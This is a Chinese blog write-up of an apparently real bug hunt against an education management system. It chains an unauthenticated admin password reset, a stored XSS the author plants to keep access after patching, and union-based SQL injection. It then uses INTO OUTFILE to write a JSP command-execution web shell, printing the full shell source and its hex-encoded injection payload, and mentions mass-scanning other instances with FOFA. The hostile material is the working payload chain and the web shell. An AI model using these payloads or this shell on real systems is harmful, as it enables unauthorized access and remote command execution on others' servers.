[老树新花]从未授权到GetShell

未授权访问

前几天晚上有空的时候想看看别人EduSrc的挖掘思路,谷歌大法搜索了一下,找到了一篇讲通用密码重置漏洞的文章,同时由于其原博主的灵魂打码,让我通过谷歌搜索成功找到了这个系统。

原来的漏洞是重置密码时校验码默认为admin,经过测试后实际上此处存在一个未授权修改密码,直接访问网址(以下均进行脱敏处理)

xxxx/updatePasswd?username=admin,1

就进入了修改管理员密码的界面

本着来都来了的精神,修改密码登录一气呵成

登陆之

XSS漏洞

这种后台一般会有很多XSS,随便找个点尝试一发助助兴,方便管理员后期修补漏洞后的权限维持,那就课程管理处的新增 ->

输入最基础的<script>alert(1)</script>

提交之后搜索新增的课程代码0000001(PS:这里重复是因为之前先尝试了一次)

成功弹窗,right!

但是这并不是我们想要的,后台XSS说实话有点鸡肋,想找一个隐蔽点的未授权或者SQL注入

继续闲逛....

疑似任意文件下载

发现一个数据导出点,抓包分析一下下载路径,看看是否存在任意文件下载

下载路径为绝对路径,感觉有戏

(此处度过两小时....)

测试很久之后还是不能下载,试了很多绕过的方法还是莫法,只能先把下载的绝对路径保存下来,呜呜呜呜.....

柳暗花明

在继续寻找中发现GET的传参点:

action?Id=aa&wid=2

尝试一发注入(其实最开始的那个案例是可以布尔注入的,后面这个案例不知道咋的有点问题)发现存在联合注入,真罕见

action?Id=aa&wid=2' and '1'='2' union select database()--+

获得数据库名

JSP一句话写SHELL

带上之前的绝对路径写shell

原JSP一句话为:

<% java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int len = -1;byte[] bytes = new byte[4092];out.print("<pre>");while ((len = input.read(bytes)) != -1) {out.println(new String(bytes, "GBK"));}out.print("</pre>");%>

原文写进去总是要报错,就进行了十六进制编码

0x3c25206a6176612e696f2e496e70757453747265616d20696e707574203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822636d642229292e676574496e70757453747265616d28293b696e74206c656e203d202d313b627974655b5d206279746573203d206e657720627974655b343039325d3b6f75742e7072696e7428223c7072653e22293b7768696c652028286c656e203d20696e7075742e72656164286279746573292920213d202d3129207b6f75742e7072696e746c6e286e657720537472696e672862797465732c202247424b2229293b7d6f75742e7072696e7428223c2f7072653e22293b253e

into outfile绝对路径写shell

action?Id=aa&wid=2' union select 0x3c25206a6176612e696f2e496e70757453747265616d20696e707574203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822636d642229292e676574496e70757453747265616d28293b696e74206c656e203d202d313b627974655b5d206279746573203d206e657720627974655b343039325d3b6f75742e7072696e7428223c7072653e22293b7768696c652028286c656e203d20696e7075742e72656164286279746573292920213d202d3129207b6f75742e7072696e746c6e286e657720537472696e672862797465732c202247424b2229293b7d6f75742e7072696e7428223c2f7072653e22293b253e into outfile 'D://xxxxx/spring10.jsp' --+

执行whoami

成功getshell

批量检测

编写一个简单的批量检测脚本(凑合看吧hhh

FOFA再按照系统指纹搜索一下即可

搞定收工orz

END

建了一个微信的安全交流群,欢迎添加我微信备注进群,一起来聊天吹水哇,以及一个会发布安全相关内容的公众号,欢迎关注 😃

GIF GIF

__EOF__

本文作者春告鳥
本文链接https://www.cnblogs.com/Cl0ud/p/15391400.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   春告鳥  阅读(354)  评论(0编辑  收藏  举报
编辑推荐:
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
阅读排行:
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!
历史上的今天:
2019-10-10 使用cmd制作图片木马
点击右上角即可分享
微信分享提示